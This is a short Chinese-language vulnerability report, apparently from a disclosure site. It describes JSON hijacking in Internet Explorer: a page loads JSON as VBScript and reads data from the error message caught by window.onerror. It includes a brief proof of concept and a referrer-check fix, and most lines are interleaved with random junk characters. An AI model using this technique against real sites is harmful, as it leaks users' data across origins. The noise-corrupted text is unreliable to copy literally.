简要描述:
5 _/ |& B) k; d1 J3 b5 U, x. \* u0 S( S7 Q2 V
由于某些资源容器对数据处理不当导致json劫持漏洞.$ _ F2 l! U5 U6 e4 Y) R* E% F$ ?
详细说明:4 K1 q' e p) F9 s+ o7 L
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
7 s. ?2 Z1 K) T) @" E+ v v<script language=vbscript></script>4 Q6 e% W9 G+ B+ B; P1 y+ p. k8 j
. r h2 w/ g7 F4 K' Y G当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.6 b5 G3 N# B4 `
漏洞证明:
9 s0 K3 k* e% Z/ {: _; h- j<script>) N& R+ [' U' i: S7 I; Q
window.onerror=function(_){
* U1 |5 n8 m7 ?& x- R; F* n& O" malert(_)( [; h. }. u& x
}( }" u, x4 P# F% L$ P0 S% ]) s
</script>; M# v+ G& ]0 v% u
<script language=vbscript src=1.json></script>
4 i% M3 l* d u' g9 I: t0 T
/ i6 c; G5 P9 N/ C2 o
/ Z: J# q( \+ H/ O+ K1.json:
/ `# I! q6 o' G. j[{"name":"sogili","age":19}]
, F) I6 k% S! T修复方案:
y$ B0 l4 J8 j6 b' n B网站业务对于这个问题可以通过验证referrer是否为同源来防御 |